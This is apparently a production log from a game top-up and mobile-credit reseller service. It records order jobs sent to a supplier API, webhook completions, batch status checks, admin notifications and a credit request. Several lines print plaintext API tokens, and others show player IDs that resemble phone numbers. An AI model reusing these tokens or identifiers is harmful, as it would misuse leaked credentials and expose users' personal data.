[2026-03-24 19:22:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"C2s4WO84IpY5gkXajkuMmNGD4zkHQALp","execution_time":"2026-03-24 19:22:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 19:22:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"C2s4WO84IpY5gkXajkuMmNGD4zkHQALp","execution_time":"2026-03-24 19:22:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 19:22:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"C2s4WO84IpY5gkXajkuMmNGD4zkHQALp","execution_time":"2026-03-24 19:22:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980} 
[2026-03-24 19:22:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"C2s4WO84IpY5gkXajkuMmNGD4zkHQALp","execution_time":"2026-03-24 19:22:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vPRLpNXR-1774369288","operation_id":164098} 
[2026-03-24 19:22:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"C2s4WO84IpY5gkXajkuMmNGD4zkHQALp","execution_time":"2026-03-24 19:22:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vPRLpNXR-1774369288","operation_id":164098,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 19:22:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"C2s4WO84IpY5gkXajkuMmNGD4zkHQALp","execution_time":"2026-03-24 19:22:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vPRLpNXR-1774369288","operation_id":164098,"processed":0,"errors":0} 
[2026-03-24 19:22:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"C2s4WO84IpY5gkXajkuMmNGD4zkHQALp","execution_time":"2026-03-24 19:22:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vPRLpNXR-1774369288","operation_id":164098,"orders_count":2,"order_ids":["ORD-ITULRV-1774369253","ORD-5MXPMYR-1774369281"]} 
[2026-03-24 19:22:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"C2s4WO84IpY5gkXajkuMmNGD4zkHQALp","execution_time":"2026-03-24 19:22:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vPRLpNXR-1774369288","operation_id":164098} 
[2026-03-24 19:22:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"C2s4WO84IpY5gkXajkuMmNGD4zkHQALp","execution_time":"2026-03-24 19:22:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-vPRLpNXR-1774369288","operation_id":164098,"orders_count":2} 
[2026-03-24 19:22:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"C2s4WO84IpY5gkXajkuMmNGD4zkHQALp","execution_time":"2026-03-24 19:22:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ITULRV-1774369253","operation_id":164096,"processed":2,"skipped":0,"updates_prepared":2} 
[2026-03-24 19:22:01] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"C2s4WO84IpY5gkXajkuMmNGD4zkHQALp","execution_time":"2026-03-24 19:22:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ITULRV-1774369253","operation_id":164096,"total_items":2,"chunks":1,"chunk_size":10} 
[2026-03-24 19:22:01] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"C2s4WO84IpY5gkXajkuMmNGD4zkHQALp","execution_time":"2026-03-24 19:22:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ITULRV-1774369253","operation_id":164096,"count":2} 
[2026-03-24 19:22:01] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"C2s4WO84IpY5gkXajkuMmNGD4zkHQALp","execution_time":"2026-03-24 19:22:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ITULRV-1774369253","operation_id":164096,"count":2} 
[2026-03-24 19:22:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"C2s4WO84IpY5gkXajkuMmNGD4zkHQALp","execution_time":"2026-03-24 19:22:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ITULRV-1774369253","operation_id":164096,"user_id":1551,"notification_type":"order_approved","reference_id":179207} 
[2026-03-24 19:22:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"C2s4WO84IpY5gkXajkuMmNGD4zkHQALp","execution_time":"2026-03-24 19:22:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ITULRV-1774369253","operation_id":164096,"user_id":1688,"notification_type":"order_approved","reference_id":179206} 
[2026-03-24 19:22:01] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"C2s4WO84IpY5gkXajkuMmNGD4zkHQALp","execution_time":"2026-03-24 19:22:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ITULRV-1774369253","operation_id":164096,"chunk_number":1,"processed":2,"errors":0,"total_operations":2,"total_orders":2,"total_codes":0,"total_refunds":0} 
[2026-03-24 19:22:01] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"C2s4WO84IpY5gkXajkuMmNGD4zkHQALp","execution_time":"2026-03-24 19:22:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ITULRV-1774369253","operation_id":164096,"total_processed":2,"total_errors":0,"chunks_processed":1} 
[2026-03-24 19:22:01] production.INFO: Batch update completed {"job":"Quryjob","job_id":"C2s4WO84IpY5gkXajkuMmNGD4zkHQALp","execution_time":"2026-03-24 19:22:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ITULRV-1774369253","operation_id":164096,"processed":2,"errors":0} 
[2026-03-24 19:22:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"C2s4WO84IpY5gkXajkuMmNGD4zkHQALp","execution_time":"2026-03-24 19:22:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ITULRV-1774369253","operation_id":164096,"processed":2,"errors":0} 
[2026-03-24 19:22:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"C2s4WO84IpY5gkXajkuMmNGD4zkHQALp","execution_time":"2026-03-24 19:22:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ITULRV-1774369253","operation_id":164096} 
[2026-03-24 19:22:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1551  
[2026-03-24 19:22:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1688  
[2026-03-24 19:22:16] production.INFO: Constructing job for order: 179209  
[2026-03-24 19:22:19] production.INFO: Handling job for order: 179209  
[2026-03-24 19:22:19] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 19:22:19] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:22:19] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=465a9bc1-f086-4d01-ab5e-1021cd946ebd&Player_ID=14391740079  
[2026-03-24 19:22:19] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=465a9bc1-f086-4d01-ab5e-1021cd946ebd&Player_ID=14391740079","has_body":false} 
[2026-03-24 19:22:20] production.INFO: Operation sent successfully {"operation_id":164099,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Wwbmuzd-1774369340","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 19:22:20"}},"processed_data":{"order_number":"ORD-Wwbmuzd-1774369340","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 19:22:25] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-vPRLpNXR-1774369288","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 19:22:25] production.INFO: Processed webhook data (normalized) {"id":"ORD-vPRLpNXR-1774369288","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 19:22:25] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 19:22:25] production.INFO: SendAcceptReject: Notification queued {"user_id":409,"notification_type":"order_approved","reference_id":179208} 
[2026-03-24 19:22:25] production.INFO: Order updated successfully. Order ID: 179208, Status: completed  
[2026-03-24 19:22:25] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-vPRLpNXR-1774369288","status":"completed","codes_count":0} 
[2026-03-24 19:22:26] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 409  
[2026-03-24 19:22:31] production.INFO: Constructing job for order: 179210  
[2026-03-24 19:22:32] production.INFO: Handling job for order: 179210  
[2026-03-24 19:22:32] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 19:22:32] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:22:32] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/568/params?qty=2000&uuid=fa9435a2-1065-448a-a98b-d6e996cb82cc&Player_ID=33857918  
[2026-03-24 19:22:32] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/568/params?qty=2000&uuid=fa9435a2-1065-448a-a98b-d6e996cb82cc&Player_ID=33857918","has_body":false} 
[2026-03-24 19:22:33] production.INFO: Operation sent successfully {"operation_id":164100,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-XHtK-1774369353","amount":2.116843999999999947903006614069454371929168701171875,"status":"processing","product":"Higo Amount","game":"HigoChat","notes":[],"created_at":"2026-03-24 19:22:33"}},"processed_data":{"order_number":"ORD-XHtK-1774369353","amount":2.116843999999999947903006614069454371929168701171875,"status":"processing","product":"Higo Amount","game":"HigoChat"}} 
[2026-03-24 19:22:43] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-Wwbmuzd-1774369340","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 19:22:43] production.INFO: Processed webhook data (normalized) {"id":"ORD-Wwbmuzd-1774369340","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 19:22:43] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 19:22:43] production.INFO: SendAcceptReject: Notification queued {"user_id":844,"notification_type":"order_approved","reference_id":179209} 
[2026-03-24 19:22:43] production.INFO: Order updated successfully. Order ID: 179209, Status: completed  
[2026-03-24 19:22:43] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-Wwbmuzd-1774369340","status":"completed","codes_count":0} 
[2026-03-24 19:22:45] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 844  
[2026-03-24 19:23:03] production.INFO: Creating credit request {"payload":{"method_id":"9","amount":"980.0","mainamount":"980","operation_number":"600431022557","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/php1tfgjafel83g9d0v0xK"}},"user_id":957} 
[2026-03-24 19:23:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 19:23:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 19:23:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 19:23:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 19:23:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 19:23:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 19:23:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 19:23:03] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 19:23:03] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18681,"user_id":957,"amount":980.0,"admins_notified":7} 
[2026-03-24 19:23:14] production.INFO: Constructing job for order: 179211  
[2026-03-24 19:23:15] production.INFO: Handling job for order: 179211  
[2026-03-24 19:23:15] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 19:23:15] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:23:15] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=c3e4931f-4765-422d-abb7-a803b48319d0&Player_ID=52435582778  
[2026-03-24 19:23:15] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=c3e4931f-4765-422d-abb7-a803b48319d0&Player_ID=52435582778","has_body":false} 
[2026-03-24 19:23:16] production.INFO: Operation sent successfully {"operation_id":164101,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-98I-1774369396","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 19:23:16"}},"processed_data":{"order_number":"ORD-98I-1774369396","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 19:23:28] production.INFO: Constructing job for order: 179212  
[2026-03-24 19:23:29] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-98I-1774369396","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 19:23:29] production.INFO: Processed webhook data (normalized) {"id":"ORD-98I-1774369396","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 19:23:29] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 19:23:29] production.INFO: SendAcceptReject: Notification queued {"user_id":29,"notification_type":"order_approved","reference_id":179211} 
[2026-03-24 19:23:29] production.INFO: Order updated successfully. Order ID: 179211, Status: completed  
[2026-03-24 19:23:29] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-98I-1774369396","status":"completed","codes_count":0} 
[2026-03-24 19:23:31] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 29  
[2026-03-24 19:23:31] production.INFO: Handling job for order: 179212  
[2026-03-24 19:23:31] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 19:23:31] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:23:31] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/89/params?qty=1&uuid=4c25282f-3d89-4d00-b9da-f4c7edd0c30e&Player_ID=11628631135  
[2026-03-24 19:23:31] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/89/params?qty=1&uuid=4c25282f-3d89-4d00-b9da-f4c7edd0c30e&Player_ID=11628631135","has_body":false} 
[2026-03-24 19:23:32] production.INFO: Operation sent successfully {"operation_id":164102,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-ottYMhH-1774369412","amount":4.7234999999999995878852132591418921947479248046875,"status":"processing","product":"530+51 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 19:23:32"}},"processed_data":{"order_number":"ORD-ottYMhH-1774369412","amount":4.7234999999999995878852132591418921947479248046875,"status":"processing","product":"530+51 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 19:23:36] production.INFO: Constructing job for order: 179213  
[2026-03-24 19:23:38] production.INFO: Handling job for order: 179213  
[2026-03-24 19:23:38] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 19:23:38] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:23:38] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=a1c8fd0e-8fc0-4fc4-9963-698312a54846&Player_ID=5340219212  
[2026-03-24 19:23:38] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=a1c8fd0e-8fc0-4fc4-9963-698312a54846&Player_ID=5340219212","has_body":false} 
[2026-03-24 19:23:39] production.INFO: Operation sent successfully {"operation_id":164103,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-sNcDLwMT-1774369419","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 19:23:39"}},"processed_data":{"order_number":"ORD-sNcDLwMT-1774369419","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 19:23:57] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-sNcDLwMT-1774369419","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 19:23:57] production.INFO: Processed webhook data (normalized) {"id":"ORD-sNcDLwMT-1774369419","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 19:23:57] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 19:23:57] production.INFO: SendAcceptReject: Notification queued {"user_id":52,"notification_type":"order_approved","reference_id":179213} 
[2026-03-24 19:23:57] production.INFO: Order updated successfully. Order ID: 179213, Status: completed  
[2026-03-24 19:23:57] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-sNcDLwMT-1774369419","status":"completed","codes_count":0} 
[2026-03-24 19:23:57] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 52  
[2026-03-24 19:23:59] production.INFO: Constructing job for order: 179214  
[2026-03-24 19:24:00] production.INFO: Handling job for order: 179214  
[2026-03-24 19:24:00] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 19:24:00] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:24:00] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/31/params?qty=1&uuid=4ecb0780-f1aa-4e8e-b767-df8a99a4ccc9&Player_ID=0997552193  
[2026-03-24 19:24:00] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/31/params?qty=1&uuid=4ecb0780-f1aa-4e8e-b767-df8a99a4ccc9&Player_ID=0997552193","has_body":false} 
[2026-03-24 19:24:00] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-ottYMhH-1774369412","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 19:24:00] production.INFO: Processed webhook data (normalized) {"id":"ORD-ottYMhH-1774369412","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 19:24:00] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 19:24:00] production.INFO: SendAcceptReject: Notification queued {"user_id":13,"notification_type":"order_approved","reference_id":179212} 
[2026-03-24 19:24:00] production.INFO: Order updated successfully. Order ID: 179212, Status: completed  
[2026-03-24 19:24:00] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-ottYMhH-1774369412","status":"completed","codes_count":0} 
[2026-03-24 19:24:01] production.INFO: Operation sent successfully {"operation_id":164104,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-aQv98R-1774369441","amount":21.308119999999998839257386862300336360931396484375,"status":"processing","product":"20.19  Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 19:24:01"}},"processed_data":{"order_number":"ORD-aQv98R-1774369441","amount":21.308119999999998839257386862300336360931396484375,"status":"processing","product":"20.19  Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 19:24:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 13  
[2026-03-24 19:24:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"pSd9UNYZ6e3lNOowxgrc9awg4sRS4oyc","execution_time":"2026-03-24 19:24:04"} 
[2026-03-24 19:24:04] production.INFO: Found pending operations {"job":"Quryjob","job_id":"pSd9UNYZ6e3lNOowxgrc9awg4sRS4oyc","execution_time":"2026-03-24 19:24:04","total_operations":3,"sites_count":2} 
[2026-03-24 19:24:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"pSd9UNYZ6e3lNOowxgrc9awg4sRS4oyc","execution_time":"2026-03-24 19:24:04","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-tmRYG-1774365381","ORD-XHtK-1774369353"]} 
[2026-03-24 19:24:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"pSd9UNYZ6e3lNOowxgrc9awg4sRS4oyc","execution_time":"2026-03-24 19:24:04","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 19:24:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"pSd9UNYZ6e3lNOowxgrc9awg4sRS4oyc","execution_time":"2026-03-24 19:24:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 19:24:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"pSd9UNYZ6e3lNOowxgrc9awg4sRS4oyc","execution_time":"2026-03-24 19:24:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980} 
[2026-03-24 19:24:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"pSd9UNYZ6e3lNOowxgrc9awg4sRS4oyc","execution_time":"2026-03-24 19:24:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XHtK-1774369353","operation_id":164100,"processed":1,"skipped":1,"updates_prepared":1} 
[2026-03-24 19:24:04] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"pSd9UNYZ6e3lNOowxgrc9awg4sRS4oyc","execution_time":"2026-03-24 19:24:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XHtK-1774369353","operation_id":164100,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 19:24:04] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"pSd9UNYZ6e3lNOowxgrc9awg4sRS4oyc","execution_time":"2026-03-24 19:24:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XHtK-1774369353","operation_id":164100,"count":1} 
[2026-03-24 19:24:04] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"pSd9UNYZ6e3lNOowxgrc9awg4sRS4oyc","execution_time":"2026-03-24 19:24:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XHtK-1774369353","operation_id":164100,"count":1} 
[2026-03-24 19:24:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"pSd9UNYZ6e3lNOowxgrc9awg4sRS4oyc","execution_time":"2026-03-24 19:24:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XHtK-1774369353","operation_id":164100,"user_id":1133,"notification_type":"order_approved","reference_id":179210} 
[2026-03-24 19:24:04] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"pSd9UNYZ6e3lNOowxgrc9awg4sRS4oyc","execution_time":"2026-03-24 19:24:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XHtK-1774369353","operation_id":164100,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 19:24:04] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"pSd9UNYZ6e3lNOowxgrc9awg4sRS4oyc","execution_time":"2026-03-24 19:24:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XHtK-1774369353","operation_id":164100,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 19:24:04] production.INFO: Batch update completed {"job":"Quryjob","job_id":"pSd9UNYZ6e3lNOowxgrc9awg4sRS4oyc","execution_time":"2026-03-24 19:24:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XHtK-1774369353","operation_id":164100,"processed":1,"errors":0} 
[2026-03-24 19:24:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"pSd9UNYZ6e3lNOowxgrc9awg4sRS4oyc","execution_time":"2026-03-24 19:24:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XHtK-1774369353","operation_id":164100,"processed":1,"errors":0} 
[2026-03-24 19:24:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"pSd9UNYZ6e3lNOowxgrc9awg4sRS4oyc","execution_time":"2026-03-24 19:24:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XHtK-1774369353","operation_id":164100,"orders_count":1,"order_ids":["ORD-aQv98R-1774369441"]} 
[2026-03-24 19:24:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"pSd9UNYZ6e3lNOowxgrc9awg4sRS4oyc","execution_time":"2026-03-24 19:24:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XHtK-1774369353","operation_id":164100} 
[2026-03-24 19:24:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"pSd9UNYZ6e3lNOowxgrc9awg4sRS4oyc","execution_time":"2026-03-24 19:24:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XHtK-1774369353","operation_id":164100,"orders_count":1} 
[2026-03-24 19:24:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"pSd9UNYZ6e3lNOowxgrc9awg4sRS4oyc","execution_time":"2026-03-24 19:24:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-aQv98R-1774369441","operation_id":164104} 
[2026-03-24 19:24:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"pSd9UNYZ6e3lNOowxgrc9awg4sRS4oyc","execution_time":"2026-03-24 19:24:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-aQv98R-1774369441","operation_id":164104,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 19:24:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"pSd9UNYZ6e3lNOowxgrc9awg4sRS4oyc","execution_time":"2026-03-24 19:24:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-aQv98R-1774369441","operation_id":164104,"processed":0,"errors":0} 
[2026-03-24 19:24:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"pSd9UNYZ6e3lNOowxgrc9awg4sRS4oyc","execution_time":"2026-03-24 19:24:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-aQv98R-1774369441","operation_id":164104} 
[2026-03-24 19:24:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1133  
[2026-03-24 19:24:38] production.INFO: Constructing job for order: 179215  
[2026-03-24 19:24:40] production.INFO: Handling job for order: 179215  
[2026-03-24 19:24:40] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 19:24:40] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:24:40] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/30/params?qty=1&uuid=73b37833-468c-464b-9245-1b0709e819db&Player_ID=0937853156  
[2026-03-24 19:24:40] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/30/params?qty=1&uuid=73b37833-468c-464b-9245-1b0709e819db&Player_ID=0937853156","has_body":false} 
[2026-03-24 19:24:41] production.INFO: Operation sent successfully {"operation_id":164105,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-mJLfY-1774369481","amount":10.1505600000000004712319423560984432697296142578125,"status":"processing","product":"9.62 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 19:24:41"}},"processed_data":{"order_number":"ORD-mJLfY-1774369481","amount":10.1505600000000004712319423560984432697296142578125,"status":"processing","product":"9.62 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 19:25:02] production.INFO: Executing GetProducts task...  
[2026-03-24 19:25:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 19:25:02] production.INFO: Executing GetProducts task...  
[2026-03-24 19:25:04] production.INFO: async() رجع: true  
